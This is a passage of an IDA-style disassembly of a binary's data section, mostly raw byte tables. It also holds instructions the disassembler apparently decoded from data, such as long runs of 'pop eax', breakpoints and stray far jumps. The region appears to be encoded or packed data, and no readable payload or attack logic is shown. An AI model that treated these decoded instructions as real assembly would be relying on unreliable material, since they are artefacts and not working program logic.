		dd 26D0B6Dh, 366D306Dh,	256D2F6Dh, 0C96DD26Dh, 0C56DCF6Dh
		dd 0E86DF16Dh, 0E56DEF6Dh, 886D9B6Dh, 0BA6D8E6Dh, 0AA6DB46Dh
		dd 5E6DA36Dh, 406E546Eh, 7E6E476Eh, 606E746Eh, 1D6E676Eh
		dd 16E146Eh, 3F6E386Eh,	236E376Eh, 0D16EDA6Eh, 0C46ED76Eh
		dd 0F06EFA6Eh, 0E26EF66Eh, 9F6E996Eh, 8C6E966Eh, 0B06EBA6Eh
		dd 0A36EB66Eh, 5F6F596Eh, 476F4E6Fh, 746F7E6Fh,	646F6D6Fh
		dd 126F1B6Fh, 66F086Fh,	356F3C6Fh, 276F2B6Fh, 0E06FDE6Fh
		dd 856F986Fh, 0A46FAA6Fh, 5660516Fh, 69607B60h,	38600F60h
		dd 29603360h, 0D5602360h, 0C060CA60h, 0FB60C560h, 0F660F060h
		dd 0E060EB60h, 92609C60h, 0B9608360h, 0A960BE60h, 5760AF60h
		dd 43614D61h, 7E617861h, 69617361h, 18616E61h, 9611F61h
		dd 35610461h, 20612B61h, 0D561DA61h, 0FC61C661h, 0F761F261h
		dd 0E261ED61h, 9D619861h, 8C619261h, 0B2618661h, 0A061A861h
		dd 5B61A561h, 79624362h, 1A626062h, 620B62h, 33623D62h
		dd 0DC622662h, 0F462CB62h, 9D62E062h, 8B629362h, 0AA62B062h
		dd 4C62A262h, 11637863h, 0D8633C63h, 0F863DE63h, 0ED63F563h
		dd 96639C63h, 80638B63h, 0B0638763h, 0AD63B663h, 4E645163h
		dd 6E647A64h, 34646464h, 27642164h, 0FF64CB64h,	0E264F564h
		dd 0B9649464h, 6E64B464h, 3F651065h, 0D8652865h, 0CE65DF65h
		dd 0F165F965h, 97659E65h, 0BC658E65h, 0A165B665h, 10665465h
		dd 2661666h, 31663B66h,	0D3662566h, 0CF66C866h,	0F766F066h
		dd 9D66E466h, 8B669466h, 0BF66B966h, 0AF66A966h, 7C674F66h
		dd 3F670867h, 0C0672367h, 0A967F067h, 58E85867h, 58598058h
		dd 50685958h, 6D684768h, 0DF682668h, 0F068C468h, 0BB68EF68h
		dd 0A668B168h, 73694C68h, 66696F69h, 29690369h,	0CC692569h
		dd 0ED69F269h, 8D69E369h, 726A5469h, 196A6D6Ah,	396A1F6Ah
		dd 0C46A3F6Ah, 9E6AE26Ah, 846A946Ah, 586AAE6Ah,	406B576Bh
		dd 776B7F6Bh, 1A6B646Bh, 3A6B0F6Bh, 0DE6B316Bh,	0CF6BD66Bh
		dd 0F16BC56Bh, 926BE86Bh
		db  6Bh	; k
		db 88h,	6Bh, 82h
		db  6Bh	; k
		db 0BDh, 6Bh, 0A8h
		db  6Bh	; k
		db 59h,	6Ch, 5Fh
		db  6Ch	; l
		db 46h,	6Ch, 7Ch
		db  6Ch	; l
		db 76h,	6Ch, 63h
		db  6Ch	; l
		db 1Fh,	6Ch, 3Ch
		db  6Ch	; l
		db 36h,	6Ch, 25h
		db  6Ch	; l
		db 0DCh, 6Ch, 0D2h
		db  6Ch	; l
		db 0C7h, 6Ch, 0F4h
		db  6Ch	; l
		db 0EEh, 6Ch, 0E3h
		db  6Ch	; l
		db 99h,	6Ch, 85h
		db  6Ch	; l
		db 0BCh, 6Ch, 0A8h
		db  6Ch	; l
		db 0A2h, 6Ch, 58h
		db  6Dh	; m
		db 55h,	6Dh, 78h
		db  6Dh	; m
		db 71h,	6Dh, 60h
		db  6Dh	; m
		db 10h,	6Dh, 3Fh
		db  6Dh	; m
		db 35h,	6Dh, 20h
		db  6Dh	; m
		db 26h,	6Dh, 0D3h
		db  6Dh	; m
		db 0C9h, 6Dh, 0C0h
		db  6Dh	; m
		db 0FDh, 6Dh, 98h
		db  6Dh	; m
		db 0A7h, 6Dh, 4Eh
		db  6Eh	; n
		db 6Ch,	6Eh, 0DFh
		db  6Eh	; n
		db 0C8h, 6Eh, 0C5h
		db  6Eh	; n
		db 0FDh, 6Eh, 0E1h
		db  6Eh	; n
		db 0E6h, 6Eh, 94h
		db  6Eh	; n
		db 87h,	6Eh, 0BDh
		db  6Eh	; n
		db 0ABh, 6Eh, 5Eh
		db  6Fh	; o
		db 54h,	6Fh, 41h
		db  6Fh	; o
		db 7Bh,	6Fh, 77h
		db  6Fh	; o
		db 6Dh,	6Fh, 10h
		db  6Fh	; o
		db 0Ch,	6Fh, 5
		db  6Fh	; o
		db 3Fh,	6Fh, 2Bh
		db  6Fh	; o
		db 24h,	6Fh, 0D0h
		db  6Fh	; o
; ---------------------------------------------------------------------------
		aad	6Fh
		retf
; ---------------------------------------------------------------------------
		db  6Fh	; o
		db 86h,	6Fh, 0B2h
		db  6Fh	; o
		db 0AEh, 6Fh, 5Bh
		db  60h	; `
		db 52h,	60h, 41h
		db  60h	; `
		db 7Dh,	60h, 74h
		db  60h	; `
		db 62h,	60h, 18h
		db  60h	; `
		db 13h,	60h, 3Ah
		db  60h	; `
		db 3Fh,	60h, 35h
		db  60h	; `
		db 24h,	60h, 0F8h
		db  60h	; `
		db 0F4h, 60h, 0E3h
		db  60h	; `
		db 92h,	60h, 8Eh
		db  60h	; `
		db 0A9h, 60h, 58h
		db  61h	; a
		db 55h,	61h, 42h
		db  61h	; a
		db 74h,	61h, 6Ah
		db  61h	; a
		db 1Ch,	61h, 15h
		db  61h	; a
		db 1, 61h, 3Bh
		db  61h	; a
		db 0DFh, 61h, 0C4h
		db  61h	; a
		db 0F1h, 61h, 0E8h
		db  61h	; a
		db 0EEh, 61h, 9Eh
		db  61h	; a
		db 0BFh, 61h, 0A6h
		db  61h	; a
		db 5Ch,	62h, 71h
		db  62h	; b
		db 77h,	62h, 3Ch
		db  62h	; b
		db 0F2h, 62h, 0E8h
		db  62h	; b
		db 0E4h, 62h, 9Ah
		db  62h	; b
		db 0BAh, 62h, 0AFh
		db  62h	; b
		db 56h,	63h, 6Bh
		db  63h	; c
		db 61h,	63h, 6
		db  63h	; c
		db 3Ch,	63h, 2Ch
		db  63h	; c
		db 22h,	63h, 0D2h
		db  63h	; c
		db 0CEh, 63h, 0F9h
		db  63h	; c
		db 0F5h, 63h, 0E2h
		db  63h	; c
		db 98h,	63h, 97h
		db  63h	; c
		db 8Dh,	63h, 0BAh
		db  63h	; c
		db 0B1h, 63h, 5Fh
		db  64h	; d
		db 49h,	64h, 45h
		db  64h	; d
		db 7Bh,	64h, 6Bh
		db  64h	; d
		db 61h,	64h, 3Ah
		db  64h	; d
		db 2Ah,	64h, 0DDh
		db 64h,	90h
		dw 0BC64h
		db  64h	; d
		db 0B2h, 64h, 4Ah
		db  65h	; e
		db 40h,	65h, 12h
		db  65h	; e
		db 8, 65h, 21h
		db  65h	; e
		db 0CAh, 65h, 0FEh
		db  65h	; e
		db 9Bh,	65h, 91h
		db  65h	; e
		db 83h,	65h, 5Dh
		db  66h	; f
		db 53h,	66h, 49h
		db  66h	; f
		db 3, 66h, 33h
		db  66h	; f
		db 0DCh, 66h, 0C0h
		db  66h	; f
		db 0FAh, 66h, 0F0h
		db  66h	; f
		db 0E5h, 66h, 8Ch
		db  66h	; f
		db 82h,	66h, 5Ah
		db  67h	; g
		db 50h,	67h, 65h
		db  67h	; g
		db 1Ah,	67h, 39h
		db  67h	; g
		db 36h,	67h, 2Fh
		db  67h	; g
		db 0DFh, 67h, 0E7h
		db  67h	; g
		db 9Dh,	67h, 0A9h
		db  67h	; g
		db 58h,	98h, 58h
		db  58h	; X
		db 0B0h, 59h, 58h
		db  58h	; X
		db 58h,	68h, 5Eh
		db  68h	; h
		db 45h,	68h, 1Bh
		db  68h	; h
		db 2Bh,	68h, 0C5h
		db  68h	; h
		db 0F0h, 68h, 0EDh
		db  68h	; h
		align 2
		dw 0BB68h
		db  68h	; h
		db 0AAh, 68h, 0A0h
		db  68h	; h
		db 42h,	69h, 66h
		db  69h	; i
		db 38h,	69h, 31h
		db  69h	; i
		db 0D0h, 69h, 0C0h
		db  69h	; i
		db 0ECh, 69h, 0E2h
		db  69h	; i
		db 81h,	69h, 0BEh
		db  69h	; i
		db 0A3h, 69h, 59h
		db  6Ah	; j
		db 48h,	6Ah, 4Eh
		db  6Ah	; j
		db 74h,	2 dup(6Ah)
		db  6Ah	; j
		db 18h,	6Ah, 11h
		db  6Ah	; j
		db 2Dh,	6Ah, 0CCh
		db  6Ah	; j
		db 0C5h, 6Ah, 0FFh
		db  6Ah	; j
		db 0E9h, 6Ah, 9Ch
		db  6Ah	; j
		db 89h,	6Ah, 0BEh
		db  6Ah	; j
		db 0ACh, 6Ah, 1Ah
		db  6Bh	; k
		db 13h,	6Bh, 25h
		db  6Bh	; k
		db 0DCh, 6Bh, 0FBh
		db  6Bh	; k
		db 0E0h, 6Bh, 97h
		db  6Bh	; k
		db 8Dh,	6Bh, 0A2h
		db  6Bh	; k
		db 59h,	6Ch, 4Bh
		db  6Ch	; l
		db 7Eh,	6Ch, 74h
		db  6Ch	; l
		db 6Eh,	6Ch, 0D4h
		db  6Ch	; l
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0FF6Ch
		db  6Ch	; l
		db 0F5h, 6Ch, 9Ah
		db  6Ch	; l
		db 83h,	6Ch, 0B9h
		db  6Ch	; l
		db 0A2h, 6Ch, 72h
		db  6Dh	; m
		db 68h,	6Dh, 6Fh
		db  6Dh	; m
		db 33h,	6Dh, 28h
		db  6Dh	; m
		db 2Fh,	6Dh, 0E9h
		db  6Dh	; m
		db 96h,	6Dh, 8Ch
		db  6Dh	; m
		db 83h,	6Dh, 45h
		db  6Eh	; n
		db 7Ah,	6Eh, 63h
		db  6Eh	; n
		db 17h,	6Eh, 3Bh
		db  6Eh	; n
		db 30h,	6Eh, 23h
		db  6Eh	; n
		db 0D7h, 6Eh, 0BFh
		db  6Eh	; n
		db 0B5h, 6Eh, 0A1h
		db  6Eh	; n
		db 54h,	6Fh, 78h
		db  6Fh	; o
		db 7Dh,	6Fh, 60h
		db  6Fh	; o
		db 20h,	6Fh, 0DDh
		db  6Fh	; o
		db 0C9h, 6Fh, 96h
		db  6Fh	; o
		db 8Ch,	6Fh, 81h
		db  6Fh	; o
		db 58h,	60h, 4Eh
		db  60h	; `
		db 44h,	60h, 72h
		db  60h	; `
		db 6Dh,	60h, 1Bh
		db  60h	; `
		db 13h,	60h, 33h
		db  60h	; `
		db 2Ah,	60h, 0DFh
		db  60h	; `
		align 2
		dw 0C160h
		db  60h	; `
		db 0C6h, 60h, 0FCh
		db  60h	; `
		db 0F5h, 60h, 0ECh
		db  60h	; `
		db 99h,	60h, 9Eh
		db  60h	; `
		db 93h,	60h, 83h
		db  60h	; `
		db 0B8h, 60h, 0A8h
		db  60h	; `
		db 0ADh, 60h, 5Dh
		db  61h	; a
		db 52h,	61h, 42h
		db  61h	; a
		db 47h,	61h, 77h
		db  61h	; a
		db 6Ch,	61h, 1Ch
		db  61h	; a
		db 11h,	61h, 1
		db  61h	; a
		db 6, 61h, 36h
		db  61h	; a
		db 2Bh,	61h, 0DBh
		db  61h	; a
		db 0D0h, 61h, 0C0h
		db  61h	; a
		db 0C5h, 61h, 0F5h
		db  61h	; a
		db 0EAh, 61h, 9Ah
		db  61h	; a
		db 9Fh,	61h, 8Fh
		db  61h	; a
		db 84h,	61h, 0B4h
		db  61h	; a
		db 0A9h, 61h, 5Ch
		db  62h	; b
		db 4Bh,	62h, 41h
		db  62h	; b
		db 0D7h, 62h, 0CEh
		db  62h	; b
		db 0ECh, 62h, 0E3h
		db  62h	; b
		db 8Fh,	62h, 0B6h
		db  62h	; b
		db 5Dh,	63h, 55h
		db  63h	; c
		db 4Fh,	63h, 6Bh
		db  63h	; c
		db 1Bh,	63h, 13h
		db  63h	; c
		db 3, 63h, 35h
		db  63h	; c
		db 0C9h, 63h, 0CFh
		db  63h	; c
		db 0C7h, 63h, 0ECh
		db  63h	; c
		db 9Dh,	63h, 92h
		db  63h	; c
		db 88h,	63h, 82h
		db  63h	; c
		db 0BBh, 63h, 0B5h
		db  63h	; c
		db 0AEh, 63h, 5Fh
		db  64h	; d
		db 55h,	64h, 45h
		db  64h	; d
		db 7Bh,	64h, 72h
		db  64h	; d
		db 6Ch,	64h, 66h
		db  64h	; d
		db 0Eh,	64h, 4
		db  64h	; d
		db 3Eh,	64h, 2Bh
		db  64h	; d
		db 21h,	64h, 0DBh
		db  64h	; d
		db 0C8h, 64h, 0F2h
		db  64h	; d
		db 0E8h, 64h, 0E5h
		db  64h	; d
		db 9Fh,	64h, 8Bh
		db  64h	; d
		db 81h,	64h, 0BBh
		db  64h	; d
		db 0B3h, 64h, 0AAh
		db  64h	; d
		db 0A6h, 64h, 5Fh
		db  65h	; e
		db 48h,	65h, 4Fh
		db  65h	; e
		db 7Ch,	65h, 72h
		db  65h	; e
		db 68h,	65h, 6Eh
		db  65h	; e
		db 18h,	65h, 12h
		db  65h	; e
		db 9, 65h, 38h
		db  65h	; e
		db 32h,	65h, 0DCh
		db  65h	; e
		db 0D2h, 65h, 0F8h
		db  65h	; e
; ---------------------------------------------------------------------------
		jmp	dword ptr [ebp-68h]
; ---------------------------------------------------------------------------
		db  65h	; e
		db 9Fh,	65h, 0B8h
		db  65h	; e
		db 0BFh, 65h, 58h
		db  66h	; f
		db 5Eh,	66h, 45h
		db  66h	; f
		db 72h,	66h, 77h
		db  66h	; f
		db 6Eh,	66h, 64h
		db  66h	; f
		db 1Bh,	66h, 8
		db  66h	; f
		db 0Dh,	66h, 2
		db  66h	; f
		db 38h,	66h, 31h
		db  66h	; f
		db 2Ah,	66h, 24h
		db  66h	; f
		db 0DAh, 66h, 0DFh
		db  66h	; f
		db 0C4h, 66h, 0EBh
		db  66h	; f
		db 9Eh,	66h, 86h
		db  66h	; f
		db 0A9h, 66h, 51h
		db  67h	; g
		db 57h,	67h, 3Ch
		db  67h	; g
		db 0DDh, 67h, 0D3h
		db  67h	; g
		db 0F3h, 67h, 0BAh
		db  67h	; g
		db 58h,	88h, 58h
		db  58h	; X
		db 74h,	5Ah, 58h
		db  58h	; X
		db 59h,	68h, 53h
		db  68h	; h
		db 6Eh,	68h, 64h
		db  68h	; h
		db 17h,	68h, 0D3h
		db  68h	; h
		db 0CDh, 68h, 89h
		db  68h	; h
		db 0B2h, 68h, 0A9h
		db  68h	; h
		db 0A7h, 68h, 54h
		db  69h	; i
		db 49h,	69h, 4Eh
		db  69h	; i
		db 7Eh,	69h, 73h
		db  69h	; i
		db 68h,	69h, 61h
		db  69h	; i
		db 1Ch,	69h, 15h
		db  69h	; i
		db 39h,	69h, 30h
		db  69h	; i
		db 36h,	69h, 24h
		db  69h	; i
		db 0DFh, 69h, 0D7h
		db  69h	; i
		db 0CFh, 69h, 0FEh
		db  69h	; i
		db 0ECh, 69h, 0E5h
		db  69h	; i
		db 9Eh,	69h, 97h
		db  69h	; i
		db 8Eh,	69h, 0B8h
		db  69h	; i
		db 0B5h, 69h, 0ABh
		db  69h	; i
		db 0A5h, 69h, 5Bh
		db  6Ah	; j
		db 52h,	6Ah, 49h
		db  6Ah	; j
		db 41h,	6Ah, 7Bh
		db  6Ah	; j
		db 72h,	6Ah, 68h
		db  6Ah	; j
		db 6Fh,	6Ah, 19h
		db  6Ah	; j
		db 1Fh,	6Ah, 3Ch
		db  6Ah	; j
		db 33h,	6Ah, 2Eh
		db  6Ah	; j
		db 27h,	6Ah, 0DEh
		db  6Ah	; j
		db 0C0h, 6Ah, 0E2h
		db  6Ah	; j
		db 98h,	6Ah, 88h
		db  6Ah	; j
		db 81h,	6Ah, 0B5h
		db  6Ah	; j
		db 0A0h, 6Ah, 0A7h
		db  6Ah	; j
		db 5, 6Bh, 0C5h
		db  6Bh	; k
		db 92h,	6Bh, 0B5h
		db  6Bh	; k
		db 0A0h, 6Bh, 4Bh
		db  6Ch	; l
		db 19h,	6Ch, 0C0h
		db  6Ch	; l
		db 0FCh, 6Ch, 0F2h
		db  6Ch	; l
		db 0E1h, 6Ch, 0E7h
		db  6Ch	; l
		db 9Dh,	6Ch, 51h
		db  6Dh	; m
		db 48h,	6Dh, 60h
		db  6Dh	; m
		db 66h,	6Dh, 2
		db  6Dh	; m
		db 2Ah,	6Dh, 20h
		db  6Dh	; m
		db 0DEh, 6Dh, 0D5h
		db  6Dh	; m
		db 0CFh, 6Dh, 0C4h
		db  6Dh	; m
		db 0F9h, 6Dh, 0FEh
		db  6Dh	; m
		db 0F4h, 6Dh, 0EBh
		db  6Dh	; m
		db 0E1h, 6Dh, 90h
		db  6Dh	; m
		db 96h,	6Dh, 0BEh
		db  6Dh	; m
		db 0A1h, 6Dh, 0A7h
		db  6Dh	; m
		db 5Eh,	6Eh, 47h
		db  6Eh	; n
		db 73h,	6Eh, 6Dh
		db  6Eh	; n
		db 63h,	6Eh, 1Bh
		db  6Eh	; n
		db 10h,	6Eh, 16h
		db  6Eh	; n
		db 0Eh,	6Eh, 3
		db  6Eh	; n
		db 0DAh, 6Eh, 0D5h
		db  6Eh	; n
		db 0C6h, 6Eh, 0F6h
		db  6Eh	; n
		db 0E4h, 6Eh, 9Dh
		db  6Eh	; n
		db 8Ah,	6Eh, 82h
		db  6Eh	; n
		db 0B6h, 6Eh, 0A0h
		db  6Eh	; n
		db 53h,	6Fh, 46h
		db  6Fh	; o
		db 7Eh,	6Fh, 60h
		db  6Fh	; o
		db 66h,	6Fh, 11h
		db  6Fh	; o
		db 7, 6Fh, 32h
		db  6Fh	; o
		db 29h,	6Fh, 0CAh
		db  6Fh	; o
		db 0C6h, 6Fh, 0EEh
		db  6Fh	; o
		db 8Fh,	6Fh, 0B1h
		db  6Fh	; o
		db 0A0h, 6Fh, 0A7h
		db  6Fh	; o
		db 53h,	60h, 49h
		db  60h	; `
		db 4Fh,	60h, 78h
		db  60h	; `
		db 7Dh,	60h, 77h
		db  60h	; `
		db 14h,	60h, 0Dh
		db  60h	; `
		db 38h,	60h, 3Eh
		db  60h	; `
		db 28h,	60h, 2Dh
		db  60h	; `
		db 0DBh, 60h, 0D2h
		db  60h	; `
		db 0C9h, 60h, 0F1h
		db  60h	; `
		db 0F7h, 60h, 0E0h
aCNATakasaAfaA	db '`–``±` `TaKasa`afa',0Ah
		db 'a',0
		dw 3C61h
		db  61h	; a
		db 29h,	61h, 20h
		db  61h	; a
		db 0D6h, 61h, 0C6h
		db  61h	; a
		db 0FDh, 61h, 0E5h
		db  61h	; a
		db 8Bh,	61h, 81h
		db  61h	; a
		db 87h,	61h, 0BEh
		db  61h	; a
		db 0A1h, 61h, 0A7h
		db  61h	; a
		align 2
		dw 662h
		db  62h	; b
		db 2Ch,	62h, 22h
		db  62h	; b
		db 0C8h, 62h, 0EFh
		db  62h	; b
		db 98h,	62h, 9Fh
		db  62h	; b
		db 83h,	62h, 0B1h
		db  62h	; b
		db 0A8h, 62h, 59h
		db  63h	; c
		db 53h,	63h, 4Dh
		db  63h	; c
		db 43h,	63h, 77h
		db  63h	; c
		db 18h,	63h, 12h
		db  63h	; c
		db 0Eh,	63h, 32h
		db  63h	; c
		db 2Fh,	63h, 0D5h
		db  63h	; c
		align 2
		dw 0FA63h
		db  63h	; c
		db 0F0h, 63h, 0E1h
		db  63h	; c
		db 0E7h, 63h, 90h
		db  63h	; c
		db 8Eh,	63h, 84h
		db  63h	; c
		db 53h,	64h, 6Eh
		db  64h	; d
; ---------------------------------------------------------------------------
		push	ss
		db	64h, 3Eh, 64h
		xor	al, 64h
		jmp	dword ptr [esp+esi*8+64h]
; ---------------------------------------------------------------------------
		db 9Dh
		db  64h	; d
		db 93h,	64h, 5Bh
		db  65h	; e
		db 51h,	65h, 72h
		db  65h	; e
		db 4, 65h, 2Ah
		db  65h	; e
		db 0DAh, 65h, 0D0h
		db  65h	; e
		db 0C9h, 65h, 0C0h
		db  65h	; e
		db 0F0h, 65h, 0F6h
		db  65h	; e
		db 0EFh, 65h, 0E5h
		db  65h	; e
		db 93h,	65h, 0BAh
		db  65h	; e
		db 0ADh, 65h, 0A4h
		db  65h	; e
		db 5Fh,	66h, 4Ch
		db  66h	; f
		db 41h,	66h, 78h
		db  66h	; f
		db 71h,	66h, 68h
		db  66h	; f
		db 65h,	66h, 1Ah
		db  66h	; f
		db 1Fh,	66h, 0Bh
		db  66h	; f
		db 1, 66h, 6
		db  66h	; f
		db 3Bh,	66h, 37h
		db  66h	; f
		db 2Dh,	66h, 22h
		db  66h	; f
		db 27h,	66h, 0D3h
		db  66h	; f
		db 0C9h, 66h, 0CEh
		db  66h	; f
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		jmp	small word ptr [esi-0Bh]
; ---------------------------------------------------------------------------
		dw 0EA66h
		db  66h	; f
		db 0EFh, 66h, 9Eh
		db  66h	; f
		db 94h,	66h, 89h
		db  66h	; f
		db 6Ah,	67h, 60h
		db  67h	; g
		db 1Ch,	67h, 12h
		db  67h	; g
		db 0Ch,	67h, 39h
		db  67h	; g
		db 35h,	67h, 2Eh
		db  67h	; g
		db 25h,	67h, 0D5h
		db  67h	; g
		db 0C5h, 67h, 0EFh
		db  67h	; g
		db 9Dh,	67h, 94h
		db  67h	; g
		db 80h,	67h, 87h
		db  67h	; g
		db 0B7h, 67h, 0A2h
		db  67h	; g
		db 58h,	0B8h, 58h
		db  58h	; X
		db 94h,	2 dup(58h)
		db  58h	; X
		db 59h,	68h, 44h
		db  68h	; h
		db 76h,	68h, 6Ch
		db  68h	; h
		db 63h,	68h, 10h
		db  68h	; h
		db 16h,	68h, 0Bh
		db  68h	; h
		db 5, 68h, 3Fh
		db  68h	; h
		db 36h,	68h, 2Eh
		db  68h	; h
		db 26h,	68h, 0D7h
		db  68h	; h
		db 0FAh, 68h, 0E8h
		db  68h	; h
		db 0EEh, 68h, 90h
		db  68h	; h
		db 8Dh,	68h, 83h
		db  68h	; h
		db 0BEh, 68h, 0AEh
		db  68h	; h
		db 0A3h, 68h, 53h
		db  69h	; i
		db 4Eh,	69h, 7Ah
		db  69h	; i
		db 70h,	69h, 6Ah
		db  69h	; i
		db 64h,	69h, 1Bh
		db  69h	; i
		db 17h,	69h, 0Dh
		db  69h	; i
		db 39h,	69h, 3Fh
		db  69h	; i
		db 29h,	69h, 0D1h
		db  69h	; i
		db 0D7h, 69h, 0C1h
		db  69h	; i
		db 0C6h, 69h, 9Eh
		db  69h	; i
		db 89h,	69h, 87h
		db  69h	; i
		db 0BDh, 69h, 0B3h
		db  69h	; i
		db 0ACh, 69h, 0A6h
		db  69h	; i
		db 5Bh,	6Ah, 75h
		db  6Ah	; j
		db 6Fh,	6Ah, 66h
		db  6Ah	; j
		db 1Dh,	6Ah, 8
		db  6Ah	; j
		db 6, 6Ah, 2Fh
		db  6Ah	; j
		db 25h,	6Ah, 0C7h
		db  6Ah	; j
		db 0F4h, 6Ah, 82h
		db  6Ah	; j
		db 0B9h, 6Ah, 0AFh
		db  6Ah	; j
		db 55h,	6Bh, 4Bh
		db  6Bh	; k
		db 71h,	6Bh, 68h
		db  6Bh	; k
		db 32h,	6Bh, 22h
		db  6Bh	; k
; ---------------------------------------------------------------------------
		shr	dword ptr [ebx-3Bh], 1
		imul	esi, 6Bh
		jmp	short loc_42B6EC
; ---------------------------------------------------------------------------
		db 0E1h, 6Bh, 9Ah
		dd 8A6B916Bh, 0B46B8F6Bh, 5A6BAA6Bh, 7E6C4C6Ch,	0F26CF96Ch
		dd 0E26CEB6Ch, 0A56CA06Ch, 5A6D5B6Ch, 426E566Eh, 6A6E7E6Eh
		dd 126E666Eh, 3A6E0E6Eh, 226E366Eh, 49D8586Eh, 58581858h
		dd 0F0685858h, 0E86AF46Ah, 0E06AEC6Ah, 986AE46Ah, 946A906Ah
		dd 8C6A886Ah, 846A806Ah, 0BC6AB86Ah, 0A86AB46Ah, 0A06AAC6Ah
		dd 586AA46Ah
; ---------------------------------------------------------------------------


loc_42B6EC:				; CODE XREF: .data:0042B67Fj
		imul	ebx, [ebx+ebp*2+50h], 6Bh
		cmp	[esp+edi+6Ch], ch
		xor	[esp+esi+6Ch], ch
		pop	eax
		clc
		dec	ecx
		pop	eax
		js	short loc_42B757
		pop	eax
		pop	eax
		int	3		; Trap to Debugger
		imul	eax, 0F469C469h
		imul	ebp, eax, 0E069EC69h
		imul	esp, 9C699869h
		imul	edx, [eax+58585869h], 58585858h
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax


loc_42B757:				; CODE XREF: .data:0042B6FDj
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax


loc_42B7A3:				; CODE XREF: .data:0042B819j
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		mov	ecx, 58581826h
		pop	eax
		pop	eax
		jo	short loc_42B7A3
		dec	ecx
		pop	eax
		pop	ecx
		pop	eax
		pop	eax
		pop	eax
		pop	ecx
		pop	eax
		pop	eax
		pop	eax
		pop	ecx
		pop	eax
		pop	eax
		pop	eax
		insb
		mov	[ecx+58h], cl
		pusha
		mov	[ecx+58h], cl
		mov	fs:[ecx+58h], cl
		xor	esi, [ebx]
		sub	[esi], ebp
		and	[edi], al
		jbe	short loc_42B879
		xor	al, 34h
		pop	eax
		pop	eax
		xor	eax, 1858581Fh
		mov	[ecx+58h], cl
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	es
		adc	al, 31h
		cmp	dl, ds:18363139h
		push	58585858h
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax


loc_42B879:				; CODE XREF: .data:0042B83Bj
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
